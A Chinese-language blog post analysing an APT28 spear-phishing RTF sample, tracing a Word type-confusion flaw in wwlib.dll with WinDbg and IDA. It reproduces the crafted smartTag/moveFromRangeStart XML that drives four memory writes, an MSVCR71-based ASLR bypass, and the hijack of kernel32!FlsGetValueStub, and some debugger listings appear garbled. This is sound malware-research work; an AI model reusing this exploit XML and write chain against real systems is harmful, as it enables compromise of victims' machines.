

最近在研究APT攻击，我选择研究APT的方法通过一个APT组织入手，我选择的是APT28这个组织，APT28组织是一个与俄罗斯政府组织的高级攻击团伙，我将分析该组织的本次分析的样本来自unit42披露的针对美国政府发送的鱼叉钓鱼攻击，此次攻击的社会工程学包括：

1 攻击邮件的发件人使用真实另一个国家外交部的电子邮件，推测，该外交部的主机或账号遭到入侵。

2 邮件主题跟名称都是关于美国和格鲁吉亚之间联合北约培训工作。

此次分析的样本一共如下：

文件名称 Exercise\_Noble\_Partner\_16.rtf

SHA-256 03cb76bdc619fac422d2b954adfa511e7ecabc106adce804b1834581b5913bca

创建时间 2016-05-20 18:50:00

文件大小 0.98M

## 漏洞原理分析

两个文件都是rtf文件，我们使用oletools分析其中一个文件，并使用-s all 参数保存这些OLE文件，可以看到共三个OLE文件，我们重点分析下这三个文件

id	index	OLE Object
0	00002BADh	format_id: 2 (Embedded) class name: 'OLE2Link' data size: 2560 MD5 = '2d46bf69451e610368e5792c02c1e43b' CLSID: 05741520-C4EB-440A-AC3F-9643BBC9F847 otkloader.WRLoader (can be used to bypass ASLR after triggering an exploit) Possibly an exploit for the OLE2Link vulnerability (VU#921560, CVE-2017-0199)
1	00004F91h	format_id: 2 (Embedded) class name: 'Word.Document.12' data size: 476672 MD5 = 'fc91470660a3e059a408a7ff4349df63' CLSID: F4754C9B-64F5-4B40-8AF4-679732AC0607 Microsoft Word Document (Word.Document.12)
2	000F013Eh	format_id: 2 (Embedded) class name: 'Word.Document.12' data size: 11776 MD5 = '8d3493e4c617643ee16c5dd191f5f924' CLSID: F4754C9B-64F5-4B40-8AF4-679732AC0607 Microsoft Word Document (Word.Document.12)

我们分析这3个文件，发现在打开id=2的文件的时候，出现了crash,我们重点关注下这个文件，我们发现程序在读取ecx的时候发现了错误

```
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=01ea90b8 ebx=03e6c000 ecx=7c38bd50 edx=00000000 esi=01e82160 edi=01851924
eip=64969829 esp=002ba120 ebp=002ba128 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Microsoft Office\Office14\wwlib.dll -
wwlib!DllGetClassObject+0x424d:
64969829 8b31          mov     esi,dword ptr [ecx]  ds:0023:7c38bd50=????????
0:000>
```

分析发现这块地址并未分配，而ecx 7c38bd50是从什么地方来的

```

*****
Usage:                               Free
Base Address:                        77e01000
End Address:                          7f6f0000
Region Size:                          078ef000
Type:                                00000000
State:                                00010000      MEM_FREE
Protect:                              00000001      PAGE_NOACCESS

```

进行栈回溯

```

0:000> kb
ChildEBP RetAddr  Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
002ba128 64e3a90d 01ea90b8 002ba148 00000012 wplib!DllGetClassObject+0x424d
002bc604 64cf9d29 03e6c000 03e6c948 0000021a wplib!DllGetLCID+0x2ccf17
002bc624 64cf9557 03e6c000 0428900c 00000027 wplib!DllGetLCID+0x18c333
002bc668 64cf9215 0000000a 0428900c 00000160 wplib!DllGetLCID+0x18bb61
002bc690 6499fc19 03e6c000 0428900c 0000002e wplib!DllGetLCID+0x18b81f
002bc700 6343eb68 00000160 0000002e 0428900c wplib!GetAllocCounters+0x28e51
002bc740 633dd79e 018afd8c 04286100 0000003c mso!Ordinal1682+0x54e
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\System32\msxml6.dll -
002bc790 701c9729 80000011 04286100 0000003c mso!Ordinal14348+0x1da
002bc7fc 701c9707 00000007 04289014 04289008 msxml6!DllRegisterServer+0x4418c
002bc848 701c9707 00000005 04289014 04289008 msxml6!DllRegisterServer+0x4416a
002bc894 701c9707 00000003 04289014 04289008 msxml6!DllRegisterServer+0x4416a
002bc8e0 701c9707 04289014 04289008 00000000 msxml6!DllRegisterServer+0x4416a
002bc92c 701c74cf 04289008 00000000 00000000 msxml6!DllRegisterServer+0x4416a
002bc978 701ca113 07b087be 002bc9d4 002bca24 msxml6!DllRegisterServer+0x41f32
002bc9b8 701c80bb 04289008 01e8000d 002bdb44 msxml6!DllRegisterServer+0x44b76
002bca08 633dcff6 04289008 01e8000d 002bdb44 msxml6!DllRegisterServer+0x42b1e
002bca38 6343b87c 00000000 01e8000d 002bdb44 mso!Ordinal13938+0x6dd
002bca70 6499c66c 018afd88 01831360 044fad9c mso!Ordinal15582+0x6ae
002bdb44 64998cd6 01742000 00000000 01ec93d0 wplib!GetAllocCounters+0x258a4
002bf01c 649953f5 002bf2d8 01ed8f60 00584434 wplib!GetAllocCounters+0x21f0e
002bf2c0 6499507b 002bf2d8 01ec93d0 00000024 wplib!GetAllocCounters+0x1e62d
002bf338 64993203 00000009 04032000 002c0a44 wplib!GetAllocCounters+0x1e2b3
002c0a30 64992a5a 00000009 00000000 04032000 wplib!GetAllocCounters+0x1c43b
002c0ed8 64bb6ca5 002c1820 00000001 00000000 wplib!GetAllocCounters+0x1bc92
002c22ac 64ba97ac 002c44a8 01ed634c 04032000 wplib!DllGetLCID+0x492af
002c22f8 64ba9585 002c44a8 01ed634c 04032000 wplib!DllGetLCID+0x3bdb6
002c4410 64b9277e 002c44a8 01ed634c 002c45e4 wplib!DllGetLCID+0x2bb8e

```

进行解压，并查看里面的文件，从document.xml文件中，发现smartTag标签中出现了0x7c38BD50,跟EcX里面的值一样，导致Crash,可以猜测道ecx里面的值来自smartTag

```

<w:smartTag w:element="#xBD50;&#x7C38;" w:uri="urn:schemas:contacts">
  <w:permStart w:id="4294960790" w:edGrp="everyone"/>
  <w:moveFromRangeStart w:id="4294960790" w:name="ABCD" w:displacedByCustomXml="next"/>
  <w:moveFromRangeEnd w:id="4294960790" w:displacedByCustomXml="prev"/>
  <w:permEnd w:id="4294960790"/>
</w:smartTag>
<w:smartTag w:element="#xBD68;&#x7C38;" w:uri="urn:schemas:contacts">
  <w:permStart w:id="2084007875" w:edGrp="everyone"/>
  <w:moveFromRangeStart w:id="2084007875" w:name="ABCD" w:displacedByCustomXml="next"/>
  <w:moveFromRangeEnd w:id="2084007875" w:displacedByCustomXml="prev"/>
  <w:permEnd w:id="2084007875"/>
</w:smartTag>
<w:smartTag w:element="#xBD60;&#x7C38;" w:uri="urn:schemas:contacts">
  <w:permStart w:id="4294960726" w:edGrp="everyone"/>
  <w:moveFromRangeStart w:id="4294960726" w:name="ABCD" w:displacedByCustomXml="next"/>
  <w:moveFromRangeEnd w:id="4294960726" w:displacedByCustomXml="prev"/>
  <w:permEnd w:id="4294960726"/>
</w:smartTag>
<w:smartTag w:element="#xBD80;&#x7C38;" w:uri="urn:schemas:contacts">
  <w:permStart w:id="192940704" w:edGrp="everyone"/>
  <w:moveFromRangeStart w:id="192940704" w:name="ABCD" w:displacedByCustomXml="next"/>
  <w:moveFromRangeEnd w:id="192940704" w:displacedByCustomXml="prev"/>
  <w:permEnd w:id="192940704"/>
</w:smartTag>

```

我们来说一下这个漏洞的原理，该漏洞是由于wwlib.dll模块在处理标签内容时存在类型混淆漏洞，windbg具体跟下来看漏洞的具体位置，通过栈回溯函数，发现了其中的

```

002DC7a0 631a1017 00640000 019cd864 0000002e wwpdb!DllGetClassObject+0x16d011
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files
002bca18 64c2eb68 00000160 0000002e 019cd864 wwpdb!GetAllocCounters+0x28e51
002bca58 64bcd79e 01abe50c 019be670 0000003c mso!Ordinal682+0x54e
002bcaa8 701c9729 80000011 019be670 0000003c mso!Ordinal4348+0x1da
002bcb14 701c9707 00000007 019cd86c 019cd860 msxml6!Reader::ParseElementN+0x379 [d:\w7rtm\sq
002bcb60 701c9707 00000005 019cd86c 019cd860 msxml6!Reader::ParseElementN+0x268 [d:\w7rtm\sq
002bcbac 701c9707 00000003 019cd86c 019cd860 msxml6!Reader::ParseElementN+0x268 [d:\w7rtm\sq
002bcbf8 701c9707 019cd86c 019cd860 00000000 msxml6!Reader::ParseElementN+0x268 [d:\w7rtm\sq
002bcc44 701c74cf 019cd860 00000000 00000000 msxml6!Reader::ParseElementN+0x268 [d:\w7rtm\sq
002bcc54 701c740b 099c7bf8 019cd860 019c95e0 msxml6!Reader::ParseDocument+0x97 [d:\w7rtm\sq
002bcc90 701ca113 099c7bb8 002bccce 002bcd3c msxml6!Reader::Parse+0xb1 [d:\w7rtm\sql\xml\msx
002bccd0 701c80bb 019cd860 01ab000d 002bde5c msxml6!Reader::parse+0x162 [d:\w7rtm\sql\xml\ms
002bcd20 64bccff6 019cd860 01ab000d 002bde5c msxml6!SAXReader::parse+0x145 [d:\w7rtm\sql\xml

```

我们看到Reader::ParseElementN函数肯定会调用GetTokenValueQName 函数

```

51  lname.n = 0;
52  data.pwh = 0;
53  data.n = 0;
54  Reader::IncrementElementDepth(this);
55  v2 = BlockAlloc::PushScope(&v1->_alloc);
56  v3 = v1->_scanner._pCharacterSource;
57  pScope = v2;
58  v4 = ((int (*)(void))v3->vfptr->GetSegmentSize());
59  qname.pwh = (wchar_t *)BlockAlloc::AllocName(&v1->_alloc, v4);
60  qname.n = v4 >> 1;
61  Scanner::GetTokenValueQName(&v1->_scanner, &qname, &prefix);
62  ++v1->_nsSupport._nContext;
63  pAttributesScope = BlockAlloc::PushScope(&v1->_alloc);
64  Reader::ParseAttributesN(v1);
65  Reader::ProcessAttributesN(v1);
66  if ( (_DWORD *)v1->_nsSupport._maps._pStack[28 * v1->_nsSupport._maps._lSize - 12] == v1->_nsSupport._nContext )
67  v5 = NamespaceSupport::GetContextSizeImpl(&v1->_nsSupport);
68  else
69  v5 = 0;
70  nContext = v5;

```

这个函数是获取标签名，fortinet下的断点是这样的

bp msxml6!Reader::ParseElementN+0x6a ".echo Parsing XML tag;r \$t0=ebp-20;dc @@c+(((StringPtr)@\$t0)->pwh)

l @@c+(((StringPtr)@\$t0)->n/2); gc"

```

1 void __thiscall Scanner::GetTokenValueQName(Scanner *this, StringPtr *pQName, StringPtr *pPrefix)
2 {
3     Scanner *v3; // esi
4
5     v3 = this;
6     ((void (__stdcall *)(StringPtr *))this->_pCharacterSource->vfptr->GetSegmentValue)(pQName);
7     pPrefix->pwh = pQName->pwh;
8     pPrefix->n = v3->_nNsPrefix;
9 }

```

下断点，发现在crash之前解析的标签smartTag跟子标签moveFromRangeStart、

MoveFromRangeEnd，进一步印证我们上面的猜测

```

sj Parsing XML tag:
pf 09ada2ce 003a0077 006d0073 00720061 00540074 w...s.m.a.r.t.T.
09ada2de 00670061 a.g.
pf Parsing XML tag:
pf 09ada2e2 003a0077 00650070 006d0072 00740053 w...p.e.r.m.S.t.
sj 09ada2f2 00720061 a.r.
wc Parsing XML tag:
sj 09ada2e2 003a0077 006f006d 00650076 00720046 w...m.o.v.e.F.r.
sj 09ada2f2 006d006f 00610052 0067006e 00530065 o.m.R.a.n.g.e.S.
wl 09ada302 00610074 00740072 t.a.r.t.
l Parsing XML tag:
wl 09ada2e2 003a0077 006f006d 00650076 00720046 w...m.o.v.e.F.r.
aj 09ada2f2 006d006f 00610052 0067006e 00450065 o.m.R.a.n.g.e.E.
wc 09ada302 0064006e n.d.
lx (Rc4 42c): Access violation - code c0000005 (first chance)

```

可以发现最后解析的两个标签moveFromRangeStart、moveFromRangeEnd都含有displacedByCustomXml

这个字段主要意思是当前标签处需要被一个customXML中的内容替代

```

<w:permStart w:id="4294960790" w:edGrp="everyone"/>
<w:moveFromRangeStart w:id="4294960790" w:name="ABCD" w:displacedByCustomXml="next"/>
<w:moveFromRangeEnd w:id="4294960790" w:displacedByCustomXml="prev"/>
<w:permEnd w:id="4294960790"/>

```

首先断到漏洞相关函数，相关断点如下

wwpdb!DllGetClassObject+0x424d ".if(ecx =0x7c38bd50){}.else(gc)", 重点关注参数

eax里面存储的为 smart 标签中的element 属性0x7c38bd50，esi表示标签层级

[ebp+Src]里面存储的id值 0xffffe696

```
:61EF981D
:61EF981D      push    ebp
:61EF981E      mov     ebp, esp
:61EF9820      mov     eax, [ebp+arg_0]
:61EF9823      mov     ecx, [eax]
:61EF9825      push    esi
:61EF9826      push    [ebp+Src]          ; Src
:61EF9829      mov     esi, [ecx]         ; if ecx=0x7c38bd50
:61EF982B      push    esi                ; int
:61EF982C      push    eax                ; int
:61EF982D      call    sub_61EF9841        ; 漏洞函数
:61EF9832      test    al, al
:61EF9834      jz      loc_622D2D09
:61EF983A      mov     eax, esi
:61FF983C
```

```
8b31      mov     esi, dword ptr [ecx]
56      push    esi
50      push    eax
e80f000000 call    wlib!DllGetClassObject+0x4265 (61ef9841)
84c0      test    al, al
0f84cf943d00 je     wlib!DllGetLCID+0x1d5313 (622d2d09)
8bc6      mov     eax, esi
5e      pop     esi
5d      pop     ebp
c20800    ret     8
55      push    ebp
8bec      mov     ebp, esp
56      push    esi
ff750c    push    dword ptr [ebp+0Ch]
8b7508    mov     esi, dword ptr [ebp+8]
56      push    esi
e823000000 call    wlib!DllGetClassObject+0x4298 (61ef9874)
84c0      test    al, al
741a      je      wlib!DllGetClassObject+0x4293 (61ef986f)
8b06      mov     eax, dword ptr [esi]
ff7008    push    dword ptr [eax+8]
8b550c    mov     edx, dword ptr [ebp+0Ch]
8bce      mov     ecx, esi
e84c000000 call    wlib!DllGetClassObject+0x42d4 (61ef98b0)
50      push    eax
ff7510    push    dword ptr [ebp+10h]
e84fdeffff call    wlib!DllGetClassObject+0x20e0 (61ef76bc)
b001      mov     al, 1
5e      pop     esi
5d      pop     ebp
c20c00    ret     0Ch
55      push    ebp
8bec      mov     ebp, esp
53      push    ebx
```

```
Failed to map Heaps (error 80004005)
Usage:
Allocation Base: 7c340000
Base Address: 7c38a000
End Address: 7c38c000
Region Size: 00002000
Type: 01000000 MEM_IMAGE
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE
More info: lmv m MSVCR71
More info: lmi MSVCR71
More info: ln 0x7c38bd50

0:000> dd esp
00245b70 01ac2370 00000003 00245ba0 01ac49e0
00245b80 0024805c 623ca90d 01ac2370 00245ba0
00245b90 00000012 0862c000 00000000 00000001
00245ba0 fffffe96 00000000 00000001 00000000
00245bb0 635c76ac 00000000 635c3410 61f10000
00245bc0 00000000 00245b64 61f20213 00245c34
00245bd0 779797e2 0fd03099 ffffffff 7791c15e
00245be0 7791c2be 000000cc 00000002 00245c44
0:000> dd 00245ba0
00245ba0 fffffe96 00000000 00000001 00000000
00245bb0 635c76ac 00000000 635c3410 61f10000
00245bc0 00000000 00245b64 61f20213 00245c34
00245bd0 779797e2 0fd03099 ffffffff 7791c15e
00245be0 7791c2be 000000cc 00000002 00245c44
00245bf0 7791c2d3 00000000 7791c2da 7865adb5
00245c00 00000008 00000019 0000001e 0000002a
00245c10 00000032 00000000 00245bac 00000000
```

通过查看栈帧往上看v18指向smartTag对象, \*(v18+4) 为 smart 标签中的element

属性0x7c38bd50,src里面为moveFromRangeStart的id值,但是此流程传入的不应该是smartTag对象,而应该是costomXml标签,而由于使用了displacedByCustomM

```
if ( v34 && !v38 )
{
    if ( !v4[17] )
    {
        v17 = (void *)MsoPvAllocCore(8724);
        v4[17] = v17;
        if ( !v17 )
            return 0;
        memset(v17, 0, 0x2214u);
    }
    v18 = v4[17]; // 获取smartTag/customXML 对象
    if ( !*( _DWORD * )(v18 + 4) )
        *( _DWORD * )(v18 + 4) = sub_61EF96E7(8, 2);
    v19 = val(*( _DWORD * )(v18 + 4), &Src);
    return v19 != -1;
}
```

由于此流程不是处理smartTag对象,会导致传入element属性值会被当做一个地址传入,并计算出一个地址,最后将moveFromRangeStart的id拷贝到这个地址,就会造成

```

1 char __stdcall sub_61EF9841(int a1, int a2, void *Src)
2 {
3     char result; // a1
4     size_t v4; // ST08_4
5     void *v5; // eax
6
7     result = sub_61EF9874((unsigned int **)a1, a2);
8     if ( result )
9     {
10        v4 = *(_DWORD *)((_DWORD *)a1 + 8);
11        v5 = (void *)calc_addr((unsigned int **)a1, a2);
12        val_copy(Src, v5, v4);
13        result = 1;
14    }
15    return result;
16 }

```

看一下calc\_addr函数，正常的计算公式为  
 TagList基址+HeadSize+TagObjectSize\*CurrIndex  
 首先看一下TagList结构体  
 TagList{  
 DWORD current\_index; 当前标签层级  
 DWORD ?; 未知  
 DWORD TagObjecSize; TagObjec大小  
 DWORD headsize; head大小  
 }

```

1 unsigned int __fastcall sub_61EF98B0(unsigned int **a1, unsigned int a2)
2 {
3     unsigned int *v2; // ecx
4
5     v2 = *a1;
6     if ( a2 >= *v2 )
7         a2 = *v2;
8     return (unsigned int)v2 + v2[3] + a2 * v2[2];
9 }

```

而传入element属性( 0x7c38bd50 )被误认为Taglist基址，并计算出来为0x7c38bd74,并传入拷贝函数将moveFromRangeStart的id拷贝到这个地址。

```

34c000000    mov     eax,esi
34c000000    call   wvlib!DllGetClassObject+0x42d4 (61ef98b0)
34c000000    push   eax
34c000000    push   dword ptr [ebp+10h]
34c000000    call   wvlib!DllGetClassObject+0x20e0 (61ef76bc)
34c000000    mov     al,1
34c000000    pop     esi
34c000000    pop     ebp
34c000000    ret     0Ch
34c000000    push   ebp
34c000000    mov     ebp,esp
34c000000    push   ebx
34c000000    push   esi
34c000000    push   edi
34c000000    mov     edi,dword ptr [ebp+8]
34c000000    mov     eax,dword ptr [edi]
34c000000    mov     ecx,dword ptr [eax+4]
34c000000    mov     ebx,dword ptr [eax+8]
34c000000    cmp     dword ptr [eax],ecx
34c000000    je      wvlib!DllGetClassObject+0x5d0e (61efb2ea)
34c000000    mov     esi,dword ptr [eax]
34c000000    mov     edx,dword ptr [ebp+0Ch]
34c000000    lea     ecx,[esi+1]
34c000000    mov     dword ptr [eax],ecx
34c000000    mov     ecx,edi
34c000000    call   wvlib!DllGetClassObject+0x42d4 (61ef98b0)
34c000000    cmp     esi,dword ptr [ebp+0Ch]
34c000000    ja      wvlib!GetAllocCounters+0x1b2f (61f088f7)
34c000000    mov     al,1
34c000000    pop     edi
34c000000    pop     esi
34c000000    pop     ebx
34c000000    pop     ebp
34c000000    ret     8
34c000000    mov     ecx,dword ptr [ecx]

```

```

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000
wvlib!DllGetClassObject+0x4288:
61ef9864 50          push     eax
0:000> p
eax=7c38bd74 ebx=0862c000 ecx=7c38bd50 edx=00000003 esi=01
eip=61ef9865 esp=00245b5c ebp=00245b68 iopl=0         nv u
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000
wvlib!DllGetClassObject+0x4289:
61ef9865 ff7510    push     dword ptr [ebp+10h] ss:0
0:000> p
eax=7c38bd74 ebx=0862c000 ecx=7c38bd50 edx=00000003 esi=01
eip=61ef9868 esp=00245b58 ebp=00245b68 iopl=0         nv u
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000
wvlib!DllGetClassObject+0x428c:
61ef9868 e84fdefff  call     wvlib!DllGetClassObject+0
0:000> dd esp
00245b58  00245ba0 7c38bd74 00000004 00000003
00245b68  00245b80 61ef9832 01ac2370 00000003
00245b78  00245ba0 01ac49e0 0024805c 623ca90d
00245b88  01ac2370 00245ba0 00000012 0862c000
00245b98  00000000 00000001 fffffe96 00000000
00245ba8  00000001 00000000 635c76ac 00000000
00245bb8  635c3410 61f10000 00000000 00245b64
00245bc8  61f20213 00245c34 779797e2 0fd03099
0:000> dd 00245ba0
00245ba0  fffffe96 00000000 00000001 00000000
00245bb0  635c76ac 00000000 635c3410 61f10000
00245bc0  00000000 00245b64 61f20213 00245c34
00245bd0  779797e2 0fd03099 ffffffff 7791c15e
00245be0  7791c2be 00000000 00000002 00245c44
00245bf0  7791c2d3 00000000 7791c2da 7865adb5
00245c00  00000008 00000019 0000001e 0000002a
00245c10  00000032 00000000 00245bac 00000000

```

这个地址是MSVCR71这个模块，然后这个模块开始是并没有的，漏洞利用者通过嵌入ProgID为  
 otloader.WRAssembly.1的对象来加载OTKLOADR.DLL的模块来引入MSVCR71模块来绕过ASLR保护



```

0:000> !address 7c38bd74

Failed to map Heaps (error 80004005)
Usage:
Allocation Base:      7c340000
Base Address:         7c38a000
End Address:          7c38c000
Region Size:          00002000
Type:                  01000000    MEM_IMAGE
State:                 00001000    MEM_COMMIT
Protect:               00000004    PAGE_READWRITE
More info:              lmv_m MSVCR71
More info:              !lmi MSVCR71
More info:              !n 0x7c38bd74

```

执行后，可以看到7c38bd74已经被覆盖为ffffe696

```

61ef986f 5e          pop     esi
0:000> dd 7c38bd50
7c38bd50  00000004 00000002 00000004 00000018
7c38bd60  00000005 0000000d 00000006 00000009
7c38bd70  00000007 ffffe696 00000008 0000000c
7c38bd80  00000009 0000000c 0000000a 00000007
7c38bd90  0000000b 00000008 0000000c 00000016
7c38bda0  0000000d 00000016 0000000f 00000002
7c38bdb0  00000010 0000000d 00000011 00000012
7c38bdc0  00000012 00000002 00000021 0000000d

```

通过样本可以看到一共进行了4轮拷贝，第二轮传入的假的Taglist基址为0x7c38bd68,而这次正好用到了第一次拷贝的值，计算为0x7c38bd68+ffffe696+6\*7=0x7c38a428

```

7c38bd60  00000010 0000000d 00000011 00000012
7c38bd70  00000012 00000002 00000021 0000000d
0:000> dd 0x7c38bd68
7c38bd68  00000006 00000009 00000007 ffffe696
7c38bd78  00000008 0000000c 00000009 0000000c
7c38bd88  0000000a 00000007 0000000b 00000008

```

此地址原来存的为kernel32!FlsGetValueStub函数的地址

```

7c38a498  c000000e 00000008 00000000 c000008f
0:000> dds 0x7c38a428
7c38a428  77921e16 kernel32!FlsGetValueStub
7c38a42c  7c348d15 MSVCR71!exit
7c38a430  0000000d
7c38a434  ffffffff
7c38a438  ffffffff

```

这次写入的值为0x7c376fc3

```

sf9864 b0      push    eax
sf9865 ff7510    push    dword ptr [ebp+10h]
sf9866 e84fdeffff call    wvlib!DllGetClassObject+0x20e0 (61ef76bc)
sf986d b001      mov     al,1
sf986f 5e          pop     esi
sf9870 5d          pop     ebp
sf9871 c20c00    ret     0Ch
sf9874 55          push   ebp
sf9875 8bec       mov     ebp,esp
sf9877 53          push   ebx
sf9878 56          push   esi
sf9879 57          push   edi
sf987a 8b7d08     mov     edi,dword ptr [ebp+8]
sf987d 8b07      mov     eax,dword ptr [edi]
sf987f 8b4804     mov     ecx,dword ptr [eax+4]
sf9882 8b5808     mov     ebx,dword ptr [eax+8]
sf9885 3908      cmp     dword ptr [eax],ecx
sf9887 0f845d1a0000 je      wvlib!DllGetClassObject+0x5d0e (61efb2ea)
sf988d 8b30      mov     esi,dword ptr [eax]
sf988f 8b550c     mov     edx,dword ptr [ebp+0Ch]
sf9892 8d4e01     lea     ecx,[esi+1]
sf9895 8908      mov     dword ptr [eax],ecx
sf9897 8bcf       mov     ecx,edi
sf9899 e812000000 call    wvlib!DllGetClassObject+0x42d4 (61ef98b0)
sf989e 3b750c     cmp     esi,dword ptr [ebp+0Ch]
sf98a1 0f8750f00000 ja      wvlib!GetAllocCounters+0x1b2f (61f088f7)
sf98a7 b001      mov     al,1
sf98a9 5f          pop     edi
sf98aa 5e          pop     esi
sf98ab 5b          pop     ebx
sf98ac 5d          pop     ebp
sf98ad c20800     ret     8

```

```

Breakpoint 0 hit
eax=015acbd0 ebx=0862c948 ecx=015acb00 edx=00000002 esi=012a448
eip=61ef9868 esp=00248034 ebp=00248044 iopl=0         nv up ei
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000
wvlib!DllGetClassObject+0x428c:
61ef9868 e84fdeffff call    wvlib!DllGetClassObject+0x20e0
0:000> g
Breakpoint 0 hit
eax=7c38a428 ebx=0862c000 ecx=7c38bd68 edx=00000006 esi=01ac234
eip=61ef9868 esp=00245b58 ebp=00245b68 iopl=0         nv up ei
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000
wvlib!DllGetClassObject+0x428c:
61ef9868 e84fdeffff call    wvlib!DllGetClassObject+0x20e0
0:000> dd esp
00245b58  00245ba0 7c38a428 00000007 00000006
00245b68  00245b80 61ef9832 01ac2348 00000006
00245b78  00245ba0 01ac49e0 0024805c 623ca90d
00245b88  01ac2348 00245ba0 00000012 0862c000
00245b98  00000000 00000001 7c376fc3 00000000
00245ba8  00000001 00000000 635c76ac 00000000
00245bb8  635c3410 8f6f5fae 00245bcc 00000000
00245bc8  02070cf0 00245d38 02070c5c 00245bf0
0:000> d 0x7c376fc3
00245ba0  7c376fc3 00000000 00000001 00000000
00245bb0  635c76ac 00000000 635c3410 8f6f5fae
00245bc0  00245bcc 00000000 02070cf0 00245d38
00245bd0  02070c5c 00245bf0 020787e0 78623023
00245be0  00245cb4 7778573e 00245d30 00245d38
00245bf0  00245d1c 00000000 00000000 00000000
00245c00  00245c74 00245c60 00245c50 02070b98
00245c10  02070c10 00000001 00000001 777858ad

```

我们看到覆盖后的地址也是一串代码，这样在执行到0x7c38a428地址kernel32!FlsGetValueStub函数的时候，将执行这段代码

```

7c37703f Ula/e9/c
0:000> u 0x7c376fc3
MSVCR71!ldexp+0x20d7:
7c376fc3 5e          pop     esi
7c376fc4 5b          pop     ebx
7c376fc5 8be5        mov     esp,ebp
7c376fc7 5d          pop     ebp
7c376fc8 8be3        mov     esp,ebx
7c376fca 5b          pop     ebx
7c376fcb c3          ret
7c376fcc ff          ret

```

继续看后面覆盖的代码

```

</w:smartTag>
<w:smartTag w:element="#<span style='color:red'>xBD60</span>#<span style='color:red'>x7C38</span>" w:uri="urn:schemas:contacts">
  <w:permStart w:id="4294960726" w:edGrp="everyone"/>
  <w:moveFromRangeStart w:id="4294960726" w:name="ABCD" w:displacedByCustomXml="next"/>
  <w:moveFromRangeEnd w:id="4294960726" w:displacedByCustomXml="prev"/>
  <w:permEnd w:id="4294960726"/>
</w:smartTag>
<w:smartTag w:element="#<span style='color:red'>xBD80</span>#<span style='color:red'>x7C38</span>" w:uri="urn:schemas:contacts">
  <w:permStart w:id="192940704" w:edGrp="everyone"/>
  <w:moveFromRangeStart w:id="192940704" w:name="ABCD" w:displacedByCustomXml="next"/>
  <w:moveFromRangeEnd w:id="192940704" w:displacedByCustomXml="prev"/>
  <w:permEnd w:id="192940704"/>
</w:smartTag>
</w:p>

```

第三次覆盖，为第四做铺垫

```

64969864 50          push    eax
64969865 ff7510      push    dword ptr [ebp+10h]
64969866 e8fdefff    call    wlib!DllGetClassObject+0x20e0 (649676bc)
64969867 b001      mov     al,1
64969868 5e          pop     esi
64969869 5d          pop     ebp
64969871 c20c00      ret     0Ch
64969874 55          push    ebp
64969875 8bec        mov     ebp,esp
64969877 53          push    ebx
64969878 56          push    esi
64969879 57          push    edi
6496987a 8b7d08      mov     edi,dword ptr [ebp+8]
6496987d 8b07        mov     eax,dword ptr [edi]
6496987f 8b4804      mov     ecx,dword ptr [eax+4]
64969882 8b5808      mov     ebx,dword ptr [eax+8]
64969885 3908        cmp     dword ptr [eax],ecx
64969887 0f845d1a0000 je      wlib!DllGetClassObject+0x5d0e (6496b2ea)
6496988d 8b30        mov     esi,dword ptr [eax]
6496988f 8b550c      mov     edx,dword ptr [ebp+0Ch]
64969892 8d4e01      lea     ecx,[esi+1]
64969895 8908        mov     dword ptr [eax],ecx
64969897 8bcf        mov     ecx,edi
64969899 e812000000 call    wlib!DllGetClassObject+0x42d4 (649698b0)
6496989e 3b750c      cmp     esi,dword ptr [ebp+0Ch]
649698a1 0f8750f00000 ja      wlib!GetAllocCounters+0x1b2f (649788f7)
649698a7 b001      mov     al,1
649698a9 5f          pop     edi
649698aa 5e          pop     esi
649698ab 5b          pop     ebx
649698ac 5d          pop     ebp
649698ad c20800      ret     8
649698b0 8b09        mov     ecx,dword ptr [ecx]

```

第四次通过计算将 0b800aa0 写入到7c38a430中

```

64969865 ff7510      push    dword ptr [ebp+10h]
64969866 e8fdefff    call    wlib!DllGetClassObject+0x20e0 (649676bc)
64969867 b001      mov     al,1
64969868 5e          pop     esi
64969869 5d          pop     ebp
64969871 c20c00      ret     0Ch
64969874 55          push    ebp
64969875 8bec        mov     ebp,esp
64969877 53          push    ebx
64969878 56          push    esi
64969879 57          push    edi
6496987a 8b7d08      mov     edi,dword ptr [ebp+8]
6496987d 8b07        mov     eax,dword ptr [edi]
6496987f 8b4804      mov     ecx,dword ptr [eax+4]
64969882 8b5808      mov     ebx,dword ptr [eax+8]
64969885 3908        cmp     dword ptr [eax],ecx
64969887 0f845d1a0000 je      wlib!DllGetClassObject+0x5d0e (6496b2ea)
6496988d 8b30        mov     esi,dword ptr [eax]
6496988f 8b550c      mov     edx,dword ptr [ebp+0Ch]
64969892 8d4e01      lea     ecx,[esi+1]
64969895 8908        mov     dword ptr [eax],ecx
64969897 8bcf        mov     ecx,edi
64969899 e812000000 call    wlib!DllGetClassObject+0x42d4 (649698b0)
6496989e 3b750c      cmp     esi,dword ptr [ebp+0Ch]
649698a1 0f8750f00000 ja      wlib!GetAllocCounters+0x1b2f (649788f7)
649698a7 b001      mov     al,1
649698a9 5f          pop     edi
649698aa 5e          pop     esi
649698ab 5b          pop     ebx
649698ac 5d          pop     ebp

```

这次断到劫持的函数kernel32!FlsGetValueStub也就是0x7c38a428，发现ecx跟栈中都有之前写入0b800aa0

```

0:000> g
Breakpoint 1 hit
eax=017946b0 ebx=01f00948 ecx=01794580 edx=00000000
eip=64969868 esp=001a7ed4 ebp=001a7ee4 iopl=0
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000
wlib!DllGetClassObject+0x428c:
64969868 e84fdefff    call    wlib!DllGetClassC
0:000> g
Breakpoint 1 hit
eax=7c38bd8c ebx=01f00000 ecx=7c38bd60 edx=00000000
eip=64969868 esp=001a59f8 ebp=001a5a08 iopl=0
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000
wlib!DllGetClassObject+0x428c:
wlib!DllGetClassObject+0x428c:
